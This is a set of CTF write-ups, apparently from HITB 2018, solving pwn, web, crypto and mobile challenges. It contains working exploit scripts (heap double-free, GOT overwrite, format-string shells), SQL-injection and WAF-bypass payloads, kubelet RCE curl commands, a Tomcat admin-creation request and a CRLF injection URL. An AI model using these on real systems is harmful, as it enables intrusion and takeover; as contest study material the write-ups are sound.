#### Leak* Leaking libc addres will be a little bit more complicated than older versions of libc, since tache acts like fastbins and only have heap address on it.* However, tcache has a maximun of 7 chunks. By freeing more than 7 chunks, the remaining chunks will be treated as usual. That is, the chunks of size 0x100 will be at unsorted bins and small bins rather than tache, which contains libc address.
#### Exploit* Leak libc and heap addresses.* Use fastbin dup attack to malloc a chunk on **&__free_hook**. Note that in older version of libc we have to `free(a); free(b); free(a);` to bypass double free check. But tache doesn't check, so it can be done simply by `free(a); free(a);`* Overwrite **__free_hook** to **system**. After that, Destroying a gundam with the name `/bin/sh`, which calls `free(name)` will be converted to `system("/bin/sh")`
``` python#!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('47.75.37.114', 9999)lib = ELF('./libc.so.6')
def build(name, typee): r.sendlineafter('choice : ', '1') r.sendafter('gundam :', name) r.sendlineafter('gundam :', str(typee))
def visit(): r.sendlineafter('choice : ', '2') return r.recvuntil('1 . Build', drop=True)
# double freedef destroy(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('Destory:', str(idx))
def blow_up(): r.sendlineafter('choice : ', '4')
# leakfor i in range(9): build(chr(0x11*(i+1))*16, 0)for i in range(8): destroy(i)blow_up()for i in range(7): build(chr(0x11*(i+1)), 0)build('a'*8, 0)x = visit()xx = re.findall('0\] :(.*)Type\[0', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x811xx = re.findall('aaaaaaaa(.*)Type\[7', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3dac78lib.address = libcprint hex(heap)print hex(libc)
# exploit# trigger double free libc 2.26 doesn't do any sanity check on tcache# libc 2.26 is awesome!!destroy(2)destroy(1)destroy(0)destroy(0)blow_up()build(flat(lib.symbols['__free_hook']), 0)build('/bin/sh\x00', 0)build(flat(lib.symbols['system']), 0)destroy(1)
#embed()r.interactive()
# HITB{now_you_know_about_tcache}```
### d (kevin47)
#### Overview```Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)```There are 3 operations:1. Read message2. Edit message3. Wipe message
* On read message, we enter a base64 encoded string, the program decodes it and stores in the heap, with ending null byte* Edit message read `strlen(message)` bytes to the message.* Wipe message frees the message and clears the pointer
#### Vulnerability* Base64 decode does not check the length properly. If we send `'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ'` which is `base64encode('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')` without the ending `'=='`, the decoder miscalculates the length of the string, which leads to no ending null byte. Edit message then could be used to overwrite next chunk's size.
#### Exploit* Use poinson null byte to create overlapped chunks.* Use fastbin dup attack to malloc a chunk on bss, where the pointers are.* We can overwrite the pointers, which leads into arbitrary memory write.* Change free@got to puts@plt, this enable us to leak libc address.* Change atoi@got to system. After this, when reading choice we can enter `/bin/sh`, which calls `atoi(buf)` that is `system('/bin/sh')` now.```python #!/usr/bin/env python2
from pwn import *from IPython import embedimport re
context.arch = 'amd64'
r = remote('47.75.154.113', 9999)
def new_msg(idx, content): r.sendlineafter('Which? :', '1') r.sendlineafter('Which? :', str(idx)) r.sendlineafter('msg:', content)
def edit_msg(idx, content, pwn=0): r.sendlineafter('Which? :', '2') r.sendlineafter('Which? :', str(idx)) if pwn: r.sendafter('msg:', content) else: r.sendlineafter('msg:', content)
def del_msg(idx): r.sendlineafter('Which? :', '3') r.sendlineafter('Which? :', str(idx))
def b64e(c): return c.encode('base64').replace('\n', '')
def exp_new_msg(idx, content): b64 = b64e(content) if b64[-2] == '=': new_msg(idx, b64[:-2]) elif b64[-1] == '=': new_msg(idx, b64[:-1]) else: new_msg(idx, b64)
# 40 & 41 are the magic numbers :)exp_new_msg(0, 'a'*40)new_msg(1, b64e('a'*0x203))new_msg(2, b64e('a'*0x100))edit_msg(1, flat( [0xdeadbeef]*28, 0xf0, 0x20, 0, 0, [0xaabbccdd]*30, 0x200, 0x120,))
# overflow 1's size (unsorted bin)del_msg(1)edit_msg(0, 'a'*40)
new_msg(3, b64e('b'*0x100))new_msg(4, b64e('c'*0x60))del_msg(3)del_msg(2)# for fastbin attackdel_msg(4)
# overlapped chunks, overwrite fastbin->fdnew_msg(5, b64e('d'*0x200))fast_bin_addr = 0x60216dedit_msg(5, flat( [0]*32, 0, 0x71, fast_bin_addr,))
new_msg(6, b64e('a'*0x60))# on bssnew_msg(60, b64e('A'*0x60))free_got = 0x602018strlen_got = 0x602028atoi_got = 0x602068puts_plt = 0x400770alarm_plt = 0x4007b0edit_msg(60, 'BBB'+flat(free_got, atoi_got, atoi_got, strlen_got))
# free -> putsedit_msg(0, flat(puts_plt))# free(1) == puts(atoi_got)del_msg(1)x = r.recvuntil('1. read')xx = x[8:14].ljust(8, '\x00')libc = u64(xx)-0x36e80system = libc + 0x45390print 'libc:', hex(libc)
# strlen -> alarm to bypass read_n len restrictionedit_msg(3, flat(alarm_plt))# atoi -> systemedit_msg(2, flat(system)[:-1])r.sendline('/bin/sh')
r.interactive()
# HITB{b4se364_1s_th3_b3st_3nc0d1ng!}```
### babypwn (how2hack)
#### VulnerabilityA challenge with format string vulnerability without given binary.
#### SolutionMy first intuition is to find the `.got.plt` section and overwrite something into `system`. As the binary has no PIE enabled (can find out by leaking some address out and you will notice there are a lot of address start with `0x40XXXX` or `0x60XXXX`), we can guess the `.got.plt` section is around `0x601000`.
```0x601000 0x202020600e200x601008 0x7fb6b46171680x601010 0x7fb6b44078700x601018 0x7fb6b409c6b00x601020 0x102020202020 # ????0x601028 0x7fb6b4094d800x601030 0x7fb6b4123d60```I was unable to leak `0x601020` for some reason.I try to leak the called functions as well.```0x4003c5 gets ?@0x4003ca stdin ?@0x4003d0 printf ?@0x4003d7 stdout ?@0x4003de stderr ?@0x4003e5 usleep ?@0x4003ea setbuf ?@0x4003f1 __libc_start_main ?@```Then I have to leak the libc version, but I am too lazy to do it so I try to find my local libc and check for the offset.```gets: 0x6ed80 (0x601028)printf: 0x55800 (0x601020)?usleep: 0xfdd60 (0x601030)```Now I understand why `0x601020` was unable to leak because of the null byte of its offset. I confirmed this by checking `0x601021` and I got this:```0x601021 0x7f3e9ac0d8 (end with '8', so the offset should be '800')```Finally, overwrite `printf` to `system` then we get the shell.
#### Exploit```python#!/usr/bin/env python
from pwn import *
host = '47.75.182.113'port = 9999
r = remote(host, port)
def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = '%' + str(result) + 'c' elif prev == word: result = 0 else: result = 256 - prev + word fmtstr = '%' + str(result) + 'c' fmtstr += '%' + str(index) + '$hhn' return fmtstr
sleep(5)
system_off = 0x45390printf_plt = 0x601020gets_plt = 0x601028gets_off = 0x6ed80
payload = '%7$s ' + p64(gets_plt)r.sendline(payload)gets = u64(r.recv(1000, timeout=1)[:6].ljust(8, '\x00'))print 'gets:', hex(gets)
libc = gets - gets_offprint 'libc:', hex(libc)
system = libc + system_offprint 'system:', hex(system)
payload = ''prev = 0for i in range(3): payload += fmt(prev, (system >> 8 * i) & 0xff, 11 + i) prev = (system >> 8 * i) & 0xff
payload += 'A'*(8 - (len(payload) % 8))payload += p64(printf_plt) + p64(printf_plt+1) + p64(printf_plt+2)
r.sendline(payload)
r.recv(1000)sleep(1)
r.sendline('/bin/sh')r.sendline('cat flag')flag = r.recvline()
log.success('FLAG: ' + flag)``````[+] Opening connection to 47.75.182.113 on port 9999: Donegets: 0x7f99aca0dd80libc: 0x7f99ac99f000system: 0x7f99ac9e4390[+] FLAG: HITB{Baby_Pwn_BabY_bl1nd}[*] Closed connection to 47.75.182.113 port 9999```
## web
### Upload (bookgin)
#### Find the targetFirst, we can upload some images to the server. With some manual tests, we found we can upload `.PHP` to the server, since `.php` is WAFed. Addiotionally, we notice that the server OS is running Microsoft IIS, so the filesystem is case-insensitive.
Next, we have to dig how to access our webshell. We have no idea the directory name of the uploaded files.
Therefore, the objective is very clear: retrieve the path name of the directory.
It's Windows+PHP, so let's give this a try. Refer to [onsec whiltepaper - 02](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf) page 5. I even write a post about this feature in [my blog](https://bookgin.github.io/2016/09/07/PHP-File-Access-in-Windows/) (in Chinese).
#### Brute force the path and RCEHere is the brute script:
```python#!/usr/bin/env python3# Python 3.6.4import requestsimport stringsess = requests.session()
name = ''while True: print(name) for i in string.digits + string.ascii_letters: guess = name + str(i) if 'image error' not in sess.get('http://47.90.97.18:9999/pic.php?filename=../' + guess + '%3C/1523462240.jpg').text: name += str(i) break```
We have RCE now. Next, we found the flag is in `../flag.php`, but some php useful function is disabled. A quick bypass is `highlight_file`. Here is the web shell:```phpuser->updateavatar($data)) quit('Something error!');} else{ //TODO！report it！ $out="Your avatar is invalid, so we reported it".""; $report=$this->user->getreport(); if($report){ $out.="Your last report used email ".htmlspecialchars($report[2],ENT_QUOTES).", and report type is ".$report[3]; } include("templates/error.html"); if(!$this->user->report(1)) quit('Something error!'); die();} ```
Also, when insering a new report, it seems vulnerable to SQL injection. Unlike other edting features in the website, the email address here is not properly escaped through `addslashes()`.
```phpfunction report($type_id){ return $this->db->Insert("reports",array($this->id,"'$this->email'",$type_id));} ```
But how to trigger this error in order to create a new report? We have to make the test failed `file_exists($avatar)`. The `$avatar` is the filepath of our avatar, and the fiepath is `upload/[USERNAME].png`. In order to make the file somehow "disappeared", we can make avatar.filepath length limit `varchar(300)` in the SQL schema very long, because in the source code:```php$filename="uploads/".$this->user->getuser().".".$type;if(is_uploaded_file($_FILES['avatar']['tmp_name'])){ $this->user->edit("avatar",array($filename,$type));```
Simply register a user with username length 300, and the avatar.filepath will be truncated.
Next, in order to exploit SQL injection, we have to bypass the email format regex check and another filter.
#### Bypass WAFs
##### Email format regex check```phpif(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$value)) return false;```
Taking a closer look, we found it can be bypassed using double quotes. This is a valid email address `"', 17385)#'"@a.aa`.
##### Hacker Filter
```php$preg="\\b(benchmark\\s*?\\(.*\\)|sleep\\s*?\\(.*\\)|load_file\\s*?\\()|UNION.+?SELECT\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)|UPDATE\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|\'|\").*?(`|\'|\"))FROM(\\{.+\\}|\\(.+\\)|\\s+?.+?|(`|\'|\").*?(`|\'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";if(preg_match("/".$preg."/is",$string)){ die('hacker');} ```
This regex almost filters all the useful keywords in SQL. However, we note that the first character `b` in the regex, which means [word match](http://php.net/manual/en/function.preg-match.php#105924). Thus, we can just append a MySQL comment `/**/` to bypass the filter!
#### Get the flag
The payload will be like this. In order to creat a valid SQL query, the `#` is required to comment out the trailing `@a.aa` in the email address.```"', 12), (10272, (SELECT * FROM/**/ users), 9487)#"@a.aa```
So the raw SQL query in the server side becomes:```insert into reports (`...`, `...`) values (9453 , '"', 12), (10272, (SQLi PAYLOAD), 9487)#"@a.aa' , 1 )```
After retriving the table and column name using group_concat and information_schema, we are able to get the flag.
Final payload: `"', 9453), (10272, (SELECT GROUP_CONCAT(fllllag_is_hhhhere) FROM/**/ fffflag_is_here), 9487)#"@a.aa`
The flag is `HITB{2e9ular131mp0rt4nt}`.
Refer to [SQL injection cheatsheet by pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
### baby baby (bookgin)
#### Recon
The NMAP scanning result shows 3 ports are opened:
- 80: HTTP + nginx- 9999: HTTP + nginx- 10250: HTTPS + unkownn backend
First, the 80 port webserver is running PHP as backend. For the port 9999, it returns 403 forbidden when accessing the root. How about trying to access `index.php` ? To our surprise we got this:
```phpThis is a pentest challenge, open your mind!
```
Note that ther are 2 underscores. After wasting 2 hours on finding a way to exploit this backdoor, we think this direction is incorrect. It's just a troll.
So how about the 10250 port? We use Dirbuster to brute force the filepath at a very low rate (2 request per second), to not affect other teams. Quickly it finds 2 intersting pages:
- https://47.75.146.42:10250/metrics- https://47.75.146.42:10250/stats
After Googling, this is related to kubelet API. Acctually, we can just Google the port number and found it. However we fotgot to do that...... It's really dumb to do directory name brute force.
Another quick Google, we found the kubelet API is vulnerable to RCE. Refer to https://github.com/bgeesaman/hhkbe, page P.35.
#### RCE
- Get the info of running pods: `curl -sk https://47.75.146.42:10250/runningpods/`- RCE: `curl -sk https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d 'cmd=cat /flag.txt'`
The flag is `HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}`. (The acronym of kubernetes is k8s)
### baby nya (bookgin)
The hint: `the tomcat deployed jolokia.war`
#### Exposed Jserv protocol
2 ports are open:
- 8009: ajp13 Apache Jserv- 9999: nginx HTTP
The 9999 port will only return `<h1>debug port for admin, you can just ignore the port.</h1>`. We trust him so we didn't dig it deeper.
For the 8089 port, it exposes the Jserv protocol, we can set up a apache as a local proxy server to coonect tot the remote webserver. Refer to https://highon.coffee/blog/sleepy-ctf-walkthrough/#apache-tomcat-jserv-proxy-setup .
A quick dive into the webserver, we found the jolokia API can be used. For the document, refer to https://jolokia.org/reference/html/protocol.html .
#### Exploit the jolokia
Refer to https://paper.seebug.org/552/
- List APIs : `/jolokia/list`- CreateAdmin Account and login: POST 3 jsons requests, Here is the script. You can use curl to send json request as well.```#!/usr/bin/env python3# Python 3.6.4import requestsimport jsonsess = requests.session()
payload = { 'type':'EXEC', "mbean": "Users:database=UserDatabase,type=User,username=\"taiwannoooo1\"", #'mbean':'Users:database=UserDatabase,type=UserDatabase', 'operation':'addRole', #'arguments':['manager-gui'], 'arguments':['taiwannoooo1', 'TAIWAN', 'i_love_taiwan'],}
response = sess.post('http://MY_SERVER_IP/jolokia', json=payload)
response_json = json.loads(response.text)response_json = json.dumps(response_json, indent=2, sort_keys=True)print(response_json)print(response.status_code)```- Login to admin interface: `/manager/`
The flag is displayed in the manager interace. `HITB{TOMCAT_TOMCAT_KAWAII}`
### baby fs (unsolved, written by bookgin, thanks to the organizer QQ group)
**This writeup is from organizer QQ group (not IRC).**
- The parameters: ip, permission, squash, path- Problem name: baby fs- HTML title: CFS
With the knowledge above, one should know it's a NFS server. The page seems to update `/etc/exports` per key.
Then, the ip parameter can accpeted ip range `1.2.3.4/24`, and it seems vulnerable to CRLF injection.
The payload is `http://47.75.35.123:9999/?action=create&key=8ce29e523ed35f49c7eb38b63c91f269&ip=140.112.0.0%0A/%20*&permission=rw&squash=no_root_squash`.
Then, listing the root directory through `http://47.75.35.123:9999/?action=list&key=8ce29e523ed35f49c7eb38b63c91f269&path=/` shows the flag.
The flag is `HITB{---->}!}<0>cccc}`.
I think this challenge requires some guessing. Until the competition ends, icchy (Tokyo westerns) is the only one who solves this challenge. Additionally, they solve it very quickly after the challenge releases. Congraz to them. They definitely have brorder knowledge!
Update: According to Tokey Westerns' writeup, this problem seems to provide an output with more details when the organizer first releases the challenge, `/data/k989ug3pzj 127.0.0.1(rw,all_squash)`. However, the organizer seems to update this challenge during the competition. The output becomes `/data/k989ug3pzj`, which is less informational. I think the hint in the problem `bug fixed of baby fs on creating directory` explains this. They acctually "fixed" a hint. I don't think it's fair.
### 3pigs (unsolved, written by how2hack)#### Hint>1) this is web pwn>2) Go, I put everything there-----github>3) you can make the size of topchunk very small>4) https://github.com/thr33pigs/3pigs/tree/master/ctf>5) fix the flag
#### Web Challenge? WutFaceYou can get the source code from the given Github link.The webserver using Flask(Python) as backend and connect to another server (which is the 3pigs binary).The vulnerabilities basically not related to web so I think the first hint make sense. >_>User uses this website to make actions and the webserver will communicate with the binary server and return the given responses to the user.
#### First stage (Misc)Before checking the binary, I noticed that there is a kind of "flying pig" that needs a special `secret` code to be able to make it online.```[email protected]('/flypig.php', methods=['POST'])def flypig(): if not isadmin(session): return alert("Not Login!") try: secret = request.form.get('secret',None) secret = secret.decode("base64")[:0xc0] useflypig = getb(session).getpigs()[-1].status for i in 'UOTp%I()<>S': if i in secret: return 'Hacker' secret = secret.format("") except: return 'Input Error' ret = getb(session).flypig(secret,useflypig) if secret else "No Secret" if ret == 'Time Out': logout() return ret else: return ret```And from the binary, there is a `flypig()` function:```Cvoid flypig() { puts("secret:"); read_n_input(s1, 9); if ( unk_203090 || strncmp(s1, "UOTp%I<S", 8uLL) ) { puts("Error_4"); } else { unk_203088 = malloc(0x70uLL); unk_203090 = 1; puts("Success"); }}```Obviously, the `secret` code is `UOTp%I<S`.However, the webserver filtered all these characters, which means you can't use this function at all! (really?)
#### Python Format String VulnerabilityI was wondering why `secret = secret.format("")` is in the code, so I try to Google it and I found http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/ about danger of Python Format String function, pretty interesting...The idea is, we can use the attribute of python `str` and also the format string feature to create the `secret` code.```>>> dir('')['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> ''.__doc__"str(object='') -> string\n\nReturn a nice string representation of the object.\nIf the argument is a string, the return value is the same object."
>>> ''.__doc__[77]'I'```Basically all the attribute itself has `__doc__`, so try to find every characters you need from `str` attributes.
```>>> secret = '{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}'>>> secret.format('')'UOTp%I<S'```
Payload: `{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}`
#### Second stage (Pwn)``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```There are 5 functions:1. Add a pig (`malloc(0xc8)`, max=3)2. Free a pig (`free(pig)`, and set pointer to `'\0'`)3. Get pigs (Print out the info of all pigs)4. Flypig (A special pig that need a `secret` code, `malloc(0x70)`, can only use once, cannot be freed)5. Flying (Give "Flypig" 16 bytes data, can only use once)
The structure of a normal pig:```+----------------+----------------+ <- current| | size(0xd0) |+----------------+----------------+| pig_name | (unused) |+----------------+----------------+| || data (0xb8) || || +----------------+ <- next | | topchunk_size |+----------------+----------------+```
#### Vulnerability* one-byte-off```Cvoid read_input(char* buf, int num) { v3 = read(0, buf, num); if ( v3 <= 0 ) { puts("Error_0"); exit(0); } if ( buf[v3 - 1] == '\n' ) buf[v3 - 1] = '\0'; else buf[v3] = '\0';}```From the read_input function, if we read `num` chars, then it will trigger one-byte-off vulnerability. Basically we can use this to overwite `topchunk` size (as the hint said).
* Flying pig (overwrite next chunk first 16 bytes data)```Cvoid flypig() { ... flypig_addr = malloc(0x70); ...}
void flying() { ... read_input((char *)(flypig_addr + 0x80), 16); ...}```Just as the pig's name, this pig can "fly" to next chunk and overwrite first 16 bytes (17 if one-byte-off) of the data. Can use this to overwrite freed `fd` and `bk`.
```+----------------+----------------+ <- flypig| | size(0x80) |+----------------+----------------+| || unused data (0x70) || |+----------------+----------------+ <- freed chunk | | size |+----------------+----------------+ <- flying() input| fd | bk |+----------------+----------------+```
#### Solution...?
* Leak libc address
There are 3 different pigs `Ke Gua`, `Red Boy`, `Small Li`.The `addpig()` function will use `strncpy(buf, pig_name, pig_name_len)` to copy pig's name to `pig_name`.Notice that `Small Li` is 8 bytes, so if we add this pig, we can leak the freed chunk `bk` pointer as no null byte will append after calling `strncpy`, then we can calculate libc address.
* Leak heap address
Using the one-byte-off vulnerability, we can overwrite the `top_chunk` size and caused `sysmalloc` to create a new heap.Then use the same method above to leak heap address.
* ...
I was unable to solve this challenge in time as I couldn't find a way to exploit. So close....
## crypto
### easy\_block (sasdf)#### Vulnerability* We have a service to compute mac for any plaintext. ```python # must be delete! elif choice[0] == 'c': un = input('your username:>>') un = bytes(un, 'ISO-8859-1') print(sha256(mac_key + un).digest().hex()) ```* Unpad function doesn't check for valid padding that can trim more than 16 bytes. ```python def unpad(s): return s[0:-s[-1]] ```* Leak 17 bytes of decrypted message. ```python sha256(mac_key + plaintext).digest().hex()[-64:-30] ```* It check last 31.5 bytes of mac instead of whole string ```python sha256(mac_key + plaintext).digest().hex()[-63:] == hash.hex()[-63:] ```
#### Construct payloadSend `admin` as username, and we will get encrypted data of `adminuser`, modify the padding and trim off the suffix `user`. Use second and third blocks to construct a (48 - 5) bytes padding to avoid being affected by initial vector.
#### Construct hashUse subroutine `c` to compute target hash. The initial vector is shared between payload and hash, we cannot modify the first 5 bytes because it will change our plaintext. Fortunately, padded message of hash is (32 + 16) bytes, and only last 31.5 bytes after unpad will be verified. So we can use ciphertext of `[5 bytes garbage][32 bytes hash]` as our mac, left first 5 bytes of initial vector unchanged. The ciphertext is constructed by xor previous block with desired plaintext and decrypted plaintext.
### easy\_pub (sasdf)```pythonbytes_to_long(b'\x00\xff') == bytes_to_long(b'\xff') == 255long_to_bytes(bytes_to_long(b'\x00\xff')) == b'\xff'```If we register with empty username, it will give us secret `admin_k` when we login. DONE.
### streamgamex (sasdf)Use first 24 bits of output as state. Run in reverse direction to get lower 24 bits of initial state (i.e. flag). Bruteforce first 17 bits that satisfy sha256 given in hint.```pythonmask = 0b10110110110011010111001101011010101011011for _ in range(24): lastbit = state & 1 state >>= 1 i = (state & mask) while i!=0: lastbit^=(i&1) i=i>>1 state|=(lastbit<<23) print('State: %s' % bin(state)[2:].rjust(24, '0'))state = bin(state)[2:].rjust(24, '0')```
### base (how2hack)This challenge let user input one string and output the "encoded" string.Our goal is to decode the given string, which is the flag: `2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=`
From the challenge name, I quickly think of base64 and other similar encoding algorithm. However I can't really tell how it works as it encodes the string totally different as the usual one.
I try to spam some string and see what I can get, and I think Brute Forcing may help.
Note: I try to scan through all the ASCII (256 possibilities), but after some tries I noted that the flag is only contains hex (16 possibilities).
Here is the script how I attempt to brute force:```pythonflag = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU='possibilities = range(0x30, 0x3a) # 0-9possibilities.extend(range(0x61, 0x67)) # a-fchoose = ''while True: print flag for i in possibilities: r.sendline(choose+chr(i)) print r.recvline().strip() choose = raw_input().strip()```
Flag: `HITB{5869616f6d6f40466c61707079506967}`
```>>> '5869616f6d6f40466c61707079506967'.decode('hex')'Xiaomo@FlappyPig'```Hi Xiaomo :)...
## mobile
### kivy simple (sces60107)
First I extract the `classes.dex` and try analyse the code.
Eventually I found that this apk is using python.
The python script is hidden in the `private.mp3`
Though the scripts is compiled, you can use `uncompyle2`.
Now we have the main.py```python=from kivy.uix.popup import Popupfrom kivy.app import Appfrom kivy.uix.label import Labelfrom kivy.uix.textinput import TextInputfrom kivy.uix.button import Buttonfrom kivy.uix.boxlayout import BoxLayoutimport binasciiimport marshalimport zlib
class LoginScreen(BoxLayout):
def __init__(self, **kwargs): super(LoginScreen, self).__init__(**kwargs) self.orientation = 'vertical' self.add_widget(Label(text='FLAG')) self.flag = TextInput(hint_text='FLAG HERE', multiline=False) self.add_widget(self.flag) self.hello = Button(text='CHECK') self.hello.bind(on_press=self.auth) self.add_widget(self.hello)
def check(self): if self.flag.text == 'HITB{this_is_not_flag}': return True return False
def auth(self, instance): if self.check(): s = 'Congratulations you got the flag' else: s = 'Wrong answer' popup = Popup(title='result', content=Label(text=s), auto_dismiss=True) popup.open()
screen = LoginScreen()b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64))))
class MyApp(App):
def build(self): return screen
app = MyApp()app.run()
```
There is a second stage. But it is not difficult to understand.
The following is the script to extract flag
```python=import zlibimport marshalimport disb64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'a=marshal.loads(zlib.decompress((b64).decode("base64")))
flag=["?"]*50 # initialize flag stringn=a.co_consts[0].co_consts # the const contains flag byte and index bytecode=a.co_consts[0].co_code[34:] # extract useful bytecode
# Now we can reconstruct the flagwhile code.find("|\x01\x00d")!=-1: pos=code.find("|\x01\x00d") code=code[pos:] i=ord(code[4]) j=ord(code[8]) #the first is index, the second is flag flag[n[i]]=n[j] code=code[1:]print "".join(flag)
```The flag is `HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}`### multicheck (sasdf)Extract `claz.dex` from `lib/libcheck.so` by xor with increasing byte stream started with 233 (i.e. i=233; i++). Run the inverse of algorithm in `claz.dex` to uncover input string.```pythondef decBlock(a, b): i5 = np.int32(0) for _ in range(32): i5 -= np.int32(1640531527) for _ in range(32): b -= (((a << np.int32(4)) + coeff[2]) ^ (a + i5)) ^ ((a >> np.int32(5)) + coeff[3]) a -= (((b << np.int32(4)) + coeff[0]) ^ (b + i5)) ^ ((b >> np.int32(5)) + coeff[1]) i5 += np.int32(1640531527) return int(a), int(b)``` |
# backdoor CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180317-backdoorctf/) of this writeup.**
